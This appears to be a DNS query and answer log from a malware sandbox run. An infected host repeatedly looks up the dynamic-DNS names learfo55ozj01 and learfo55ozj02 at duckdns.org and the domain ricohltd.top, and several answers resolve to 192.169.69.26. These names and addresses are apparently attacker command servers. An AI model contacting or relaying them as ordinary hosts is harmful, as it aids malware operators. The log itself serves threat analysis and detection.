May 1, 2024 18:22:54.010133028 CEST	192.168.2.22	8.8.8.8	0x3218	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.105259895 CEST	192.168.2.22	8.8.8.8	0x3218	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.201739073 CEST	192.168.2.22	8.8.8.8	0x3218	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.297254086 CEST	192.168.2.22	8.8.8.8	0x3218	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.398705006 CEST	192.168.2.22	8.8.8.8	0xb5a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.497287989 CEST	192.168.2.22	8.8.8.8	0xb5a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.592010975 CEST	192.168.2.22	8.8.8.8	0xb5a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.687288046 CEST	192.168.2.22	8.8.8.8	0xb5a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.782345057 CEST	192.168.2.22	8.8.8.8	0xb5a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.890232086 CEST	192.168.2.22	8.8.8.8	0x41fb	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.985241890 CEST	192.168.2.22	8.8.8.8	0x41fb	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:55.083326101 CEST	192.168.2.22	8.8.8.8	0x41fb	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:55.183401108 CEST	192.168.2.22	8.8.8.8	0x41fb	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:55.282550097 CEST	192.168.2.22	8.8.8.8	0x41fb	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.397111893 CEST	192.168.2.22	8.8.8.8	0xc3fd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.496565104 CEST	192.168.2.22	8.8.8.8	0xc3fd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.591804981 CEST	192.168.2.22	8.8.8.8	0xc3fd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.686435938 CEST	192.168.2.22	8.8.8.8	0xc3fd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.783698082 CEST	192.168.2.22	8.8.8.8	0xc3fd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.888722897 CEST	192.168.2.22	8.8.8.8	0x62c5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.987363100 CEST	192.168.2.22	8.8.8.8	0x62c5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.104094982 CEST	192.168.2.22	8.8.8.8	0x62c5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.203254938 CEST	192.168.2.22	8.8.8.8	0x62c5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.297842026 CEST	192.168.2.22	8.8.8.8	0x62c5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.402113914 CEST	192.168.2.22	8.8.8.8	0xb7ff	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.503211975 CEST	192.168.2.22	8.8.8.8	0xb7ff	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.598020077 CEST	192.168.2.22	8.8.8.8	0xb7ff	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.692734957 CEST	192.168.2.22	8.8.8.8	0xb7ff	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.791253090 CEST	192.168.2.22	8.8.8.8	0xb7ff	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:58.923945904 CEST	192.168.2.22	8.8.8.8	0x34cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.019566059 CEST	192.168.2.22	8.8.8.8	0x34cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.114733934 CEST	192.168.2.22	8.8.8.8	0x34cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.221467972 CEST	192.168.2.22	8.8.8.8	0x34cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.316755056 CEST	192.168.2.22	8.8.8.8	0x34cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.435328960 CEST	192.168.2.22	8.8.8.8	0xbf6f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.530088902 CEST	192.168.2.22	8.8.8.8	0xbf6f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.625719070 CEST	192.168.2.22	8.8.8.8	0xbf6f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.721589088 CEST	192.168.2.22	8.8.8.8	0xbf6f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.819293022 CEST	192.168.2.22	8.8.8.8	0xbf6f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.929601908 CEST	192.168.2.22	8.8.8.8	0xfb49	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:00.024713993 CEST	192.168.2.22	8.8.8.8	0xfb49	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:00.119863033 CEST	192.168.2.22	8.8.8.8	0xfb49	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:00.214356899 CEST	192.168.2.22	8.8.8.8	0xfb49	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:00.310405970 CEST	192.168.2.22	8.8.8.8	0xfb49	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.083590031 CEST	192.168.2.22	8.8.8.8	0x2e2d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.178329945 CEST	192.168.2.22	8.8.8.8	0x2e2d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.272712946 CEST	192.168.2.22	8.8.8.8	0x2e2d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.367305994 CEST	192.168.2.22	8.8.8.8	0x2e2d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.462238073 CEST	192.168.2.22	8.8.8.8	0x2e2d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.567436934 CEST	192.168.2.22	8.8.8.8	0xacb5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.662013054 CEST	192.168.2.22	8.8.8.8	0xacb5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.756330967 CEST	192.168.2.22	8.8.8.8	0xacb5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.851262093 CEST	192.168.2.22	8.8.8.8	0xacb5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.945580006 CEST	192.168.2.22	8.8.8.8	0xacb5	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.050112009 CEST	192.168.2.22	8.8.8.8	0xf039	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.147231102 CEST	192.168.2.22	8.8.8.8	0xf039	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.247243881 CEST	192.168.2.22	8.8.8.8	0xf039	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.343262911 CEST	192.168.2.22	8.8.8.8	0xf039	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.442270994 CEST	192.168.2.22	8.8.8.8	0xf039	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:08.993493080 CEST	192.168.2.22	8.8.8.8	0xcccd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:09.105727911 CEST	192.168.2.22	8.8.8.8	0xcccd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:09.200263023 CEST	192.168.2.22	8.8.8.8	0xcccd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:09.298962116 CEST	192.168.2.22	8.8.8.8	0xcccd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:09.420037985 CEST	192.168.2.22	8.8.8.8	0xcccd	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:10.218755960 CEST	192.168.2.22	8.8.8.8	0x63a1	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:10.733387947 CEST	192.168.2.22	8.8.8.8	0xa3d9	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:10.828233004 CEST	192.168.2.22	8.8.8.8	0xa3d9	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:10.922938108 CEST	192.168.2.22	8.8.8.8	0xa3d9	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:11.017905951 CEST	192.168.2.22	8.8.8.8	0xa3d9	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:11.119092941 CEST	192.168.2.22	8.8.8.8	0xa3d9	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:12.362782955 CEST	192.168.2.22	8.8.8.8	0x8656	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:12.476284027 CEST	192.168.2.22	8.8.8.8	0x8656	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:12.574835062 CEST	192.168.2.22	8.8.8.8	0x8656	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:12.687738895 CEST	192.168.2.22	8.8.8.8	0x8656	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:12.951582909 CEST	192.168.2.22	8.8.8.8	0x8656	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:16.644519091 CEST	192.168.2.22	8.8.8.8	0xd33e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:16.740267038 CEST	192.168.2.22	8.8.8.8	0xd33e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:16.839495897 CEST	192.168.2.22	8.8.8.8	0xd33e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:16.934931993 CEST	192.168.2.22	8.8.8.8	0xd33e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.030488968 CEST	192.168.2.22	8.8.8.8	0xd33e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.136998892 CEST	192.168.2.22	8.8.8.8	0x636c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.231513977 CEST	192.168.2.22	8.8.8.8	0x636c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.329366922 CEST	192.168.2.22	8.8.8.8	0x636c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.425553083 CEST	192.168.2.22	8.8.8.8	0x636c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.522459030 CEST	192.168.2.22	8.8.8.8	0x636c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:18.642189026 CEST	192.168.2.22	8.8.8.8	0xd9a9	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:18.737210989 CEST	192.168.2.22	8.8.8.8	0xd9a9	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:18.832145929 CEST	192.168.2.22	8.8.8.8	0xd9a9	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:18.927398920 CEST	192.168.2.22	8.8.8.8	0xd9a9	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.023443937 CEST	192.168.2.22	8.8.8.8	0xd9a9	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.128278017 CEST	192.168.2.22	8.8.8.8	0x69cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.223498106 CEST	192.168.2.22	8.8.8.8	0x69cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.318104982 CEST	192.168.2.22	8.8.8.8	0x69cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.412940025 CEST	192.168.2.22	8.8.8.8	0x69cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.507874966 CEST	192.168.2.22	8.8.8.8	0x69cb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.631625891 CEST	192.168.2.22	8.8.8.8	0xad0	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.727283955 CEST	192.168.2.22	8.8.8.8	0xad0	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.822412014 CEST	192.168.2.22	8.8.8.8	0xad0	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.924750090 CEST	192.168.2.22	8.8.8.8	0xad0	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:20.023053885 CEST	192.168.2.22	8.8.8.8	0xad0	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:22.912683964 CEST	192.168.2.22	8.8.8.8	0x13e0	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:23.551987886 CEST	192.168.2.22	8.8.8.8	0x5d38	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 1, 2024 18:20:41.348900080 CEST	8.8.8.8	192.168.2.22	0x6bc6	No error (0)	ricohltd.top		104.21.60.38	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:41.348900080 CEST	8.8.8.8	192.168.2.22	0x6bc6	No error (0)	ricohltd.top		172.67.191.112	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:43.777667999 CEST	8.8.8.8	192.168.2.22	0xa811	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:45.729424000 CEST	8.8.8.8	192.168.2.22	0x5a61	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:46.326531887 CEST	8.8.8.8	192.168.2.22	0x926	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:47.459662914 CEST	8.8.8.8	192.168.2.22	0x3c88	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:48.139242887 CEST	8.8.8.8	192.168.2.22	0xb917	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:48.850656033 CEST	8.8.8.8	192.168.2.22	0xf356	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:50.892533064 CEST	8.8.8.8	192.168.2.22	0xbaf4	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:52.240302086 CEST	8.8.8.8	192.168.2.22	0x8554	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:53.315177917 CEST	8.8.8.8	192.168.2.22	0xf3db	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:57.623327971 CEST	8.8.8.8	192.168.2.22	0x82a1	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:59.550465107 CEST	8.8.8.8	192.168.2.22	0xdaa0	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:00.109519005 CEST	8.8.8.8	192.168.2.22	0xdc3e	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:01.629203081 CEST	8.8.8.8	192.168.2.22	0x8e67	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:05.282814980 CEST	8.8.8.8	192.168.2.22	0xfe4	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:05.813594103 CEST	8.8.8.8	192.168.2.22	0x8e4a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:06.974354029 CEST	8.8.8.8	192.168.2.22	0x9bc3	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:07.609211922 CEST	8.8.8.8	192.168.2.22	0x3b6d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:08.600152016 CEST	8.8.8.8	192.168.2.22	0xeb60	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:13.444186926 CEST	8.8.8.8	192.168.2.22	0x4da1	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:14.332699060 CEST	8.8.8.8	192.168.2.22	0xe616	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:15.057497025 CEST	8.8.8.8	192.168.2.22	0xcdda	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:16.237462997 CEST	8.8.8.8	192.168.2.22	0xcd33	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:18.623866081 CEST	8.8.8.8	192.168.2.22	0x824	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:19.814316034 CEST	8.8.8.8	192.168.2.22	0xc36f	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:20.993757963 CEST	8.8.8.8	192.168.2.22	0x2a2a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:21.721213102 CEST	8.8.8.8	192.168.2.22	0x3ec0	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:22.313657045 CEST	8.8.8.8	192.168.2.22	0xa135	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:23.595305920 CEST	8.8.8.8	192.168.2.22	0xfa11	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:24.355746984 CEST	8.8.8.8	192.168.2.22	0x9408	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:25.222199917 CEST	8.8.8.8	192.168.2.22	0x6b16	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:27.282159090 CEST	8.8.8.8	192.168.2.22	0xaf81	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:28.279517889 CEST	8.8.8.8	192.168.2.22	0xa7f7	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:29.008239031 CEST	8.8.8.8	192.168.2.22	0x2622	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:30.260442019 CEST	8.8.8.8	192.168.2.22	0x4f21	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:30.973165989 CEST	8.8.8.8	192.168.2.22	0x8564	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:31.565931082 CEST	8.8.8.8	192.168.2.22	0x6e3e	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:32.755573988 CEST	8.8.8.8	192.168.2.22	0xb4c3	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:33.427191973 CEST	8.8.8.8	192.168.2.22	0x5c79	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:34.016827106 CEST	8.8.8.8	192.168.2.22	0xe4bc	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:34.112034082 CEST	8.8.8.8	192.168.2.22	0xe4bc	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:35.283551931 CEST	8.8.8.8	192.168.2.22	0xfaab	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:36.047956944 CEST	8.8.8.8	192.168.2.22	0x9d52	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:36.760205984 CEST	8.8.8.8	192.168.2.22	0xaf03	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:38.201294899 CEST	8.8.8.8	192.168.2.22	0xc6c8	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:38.868854046 CEST	8.8.8.8	192.168.2.22	0xf123	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:38.964133024 CEST	8.8.8.8	192.168.2.22	0xf123	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:39.573415041 CEST	8.8.8.8	192.168.2.22	0xa88	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:40.775657892 CEST	8.8.8.8	192.168.2.22	0x6a7f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:41.551778078 CEST	8.8.8.8	192.168.2.22	0x985b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:42.256622076 CEST	8.8.8.8	192.168.2.22	0x861c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:43.440057993 CEST	8.8.8.8	192.168.2.22	0x2535	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:43.535567045 CEST	8.8.8.8	192.168.2.22	0x2535	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:44.391361952 CEST	8.8.8.8	192.168.2.22	0xf98b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:45.033880949 CEST	8.8.8.8	192.168.2.22	0x3e71	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:46.245449066 CEST	8.8.8.8	192.168.2.22	0x2b92	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:46.840233088 CEST	8.8.8.8	192.168.2.22	0xb9b0	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:47.811669111 CEST	8.8.8.8	192.168.2.22	0xcd88	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:48.995340109 CEST	8.8.8.8	192.168.2.22	0xa656	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:49.967490911 CEST	8.8.8.8	192.168.2.22	0xcc8a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:50.062179089 CEST	8.8.8.8	192.168.2.22	0xcc8a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:50.742985010 CEST	8.8.8.8	192.168.2.22	0x5044	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:52.162982941 CEST	8.8.8.8	192.168.2.22	0x90b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:52.257852077 CEST	8.8.8.8	192.168.2.22	0x90b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:52.370883942 CEST	8.8.8.8	192.168.2.22	0x90b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:52.465672970 CEST	8.8.8.8	192.168.2.22	0x90b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
